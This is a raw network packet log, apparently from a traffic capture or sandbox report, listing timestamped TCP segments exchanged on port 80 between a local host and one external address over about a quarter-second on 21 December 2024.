Dec 21, 2024 10:15:18.612976074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.613982916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.614057064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.614057064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.614146948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.615178108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.615364075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.615387917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.615518093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.616415977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.616476059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.616544008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.616604090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.617597103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.617660999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.617872953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.618458033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.618835926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.618896961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.619138956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.619235039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.619962931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.620017052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.620029926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.620093107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.621161938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.621220112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.621335030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.621545076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.622374058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.622442007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.622668982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.622729063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.623548031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.623642921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.623708010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.624716043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.624777079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.624814987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.624870062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.625920057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.625955105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.625981092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.626036882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.627156019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.627191067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.627260923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.628324986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.628359079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.628388882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.628415108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.629486084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.629542112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.629549980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.629610062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.630677938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.630789042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.630837917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.630923986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.631864071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.631928921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.631998062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.632066965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.633014917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.633079052 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.633147955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.633217096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.634200096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.634263992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.634300947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.634466887 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.635513067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.635580063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.635662079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.635720015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.636554003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.636615992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.636697054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.636784077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.638164043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.638253927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.638323069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.638950109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.639143944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.639211893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.640198946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.640253067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.640264034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.640450001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.641309977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.641374111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.641541958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.641630888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.642533064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.642594099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.642632961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.642699957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.643678904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.643739939 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.643821955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.643877983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.644938946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.645016909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.645039082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.645201921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.646198034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.646256924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.646358967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.646414042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.647377014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.647438049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.647509098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.647561073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.648685932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.648720980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.648749113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.648930073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.649701118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.649763107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.649796009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.649864912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.650841951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.650938988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.650947094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.650995970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.652066946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.652128935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.652168036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.652225018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.653259039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.653343916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.653403997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.654397964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.654457092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.654537916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.654594898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.655611038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.655675888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.655846119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.655896902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.657150984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.657186031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.657215118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.657248020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.658065081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.658103943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.658130884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.658570051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.659147978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.659298897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.659363031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.659363985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.660343885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.660523891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.660592079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.661530972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.661637068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.661670923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.661734104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.662718058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.662777901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.662842989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.662986040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.663948059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.664020061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.664021015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.664134979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.665194988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.665230036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.665443897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.666270971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.666333914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.666414976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.666526079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.667531013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.667596102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.667659998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.667714119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.668644905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.668711901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.668837070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.668972969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.669812918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.669872999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.799551964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.799593925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.799649000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.800168037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.800380945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.800383091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.800472021 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.801340103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.801422119 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.801455975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.801594973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.802495956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.802555084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.802622080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.802675962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.803642988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.803735971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.803875923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.804851055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.804932117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.804975986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.805043936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.806025982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.806092978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.806155920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.806242943 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.807240963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.807307005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.807394981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.807538986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.808434010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.808496952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.808530092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.808620930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.809664965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.809736967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.809773922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.809828997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.810785055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.810844898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.810930014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.810992956 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.811990976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.812052011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.812103987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.812369108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.813170910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.813225031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.813256025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.813288927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.814452887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.814507961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.814569950 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.815552950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.815656900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.815675020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.815910101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.816786051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.816854000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.816854954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.816926003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.818034887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.818087101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.818120003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.818156958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.819152117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.819205046 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.819247007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.819305897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.820308924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.820369959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.820383072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.820435047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.821494102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.821561098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.821605921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.821659088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.822679043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.822735071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.822803020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.822868109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.823925018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.823960066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.824023008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.825119972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.825185061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.825258017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.825310946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.826312065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.826370955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.826385021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.826431990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.827430964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.827641010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.827701092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.828690052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.828725100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.828741074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.828773022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.829797983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.829871893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.829936028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.829988003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.830993891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.831056118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.831152916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.831223011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.832225084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.832278013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.832283974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.832341909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.833395958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.833483934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.833621979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.833832979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.834610939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.834672928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.834755898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.834810019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.835748911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.835804939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.835817099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.836050034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.836982012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.837064981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.837084055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.837136030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.838126898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.838198900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.838258982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.838310957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.839351892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.839409113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.839493036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.839821100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.840506077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.840570927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.840656996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.840709925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.841703892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.841876984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.841938019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.842935085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.842972040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.843048096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.844203949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.844238997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.844264030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.844289064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.845309973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.845525980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.845531940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.845576048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.846569061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.846611977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.846628904 CET	49781	80	192.168.2.4	31.41.244.11
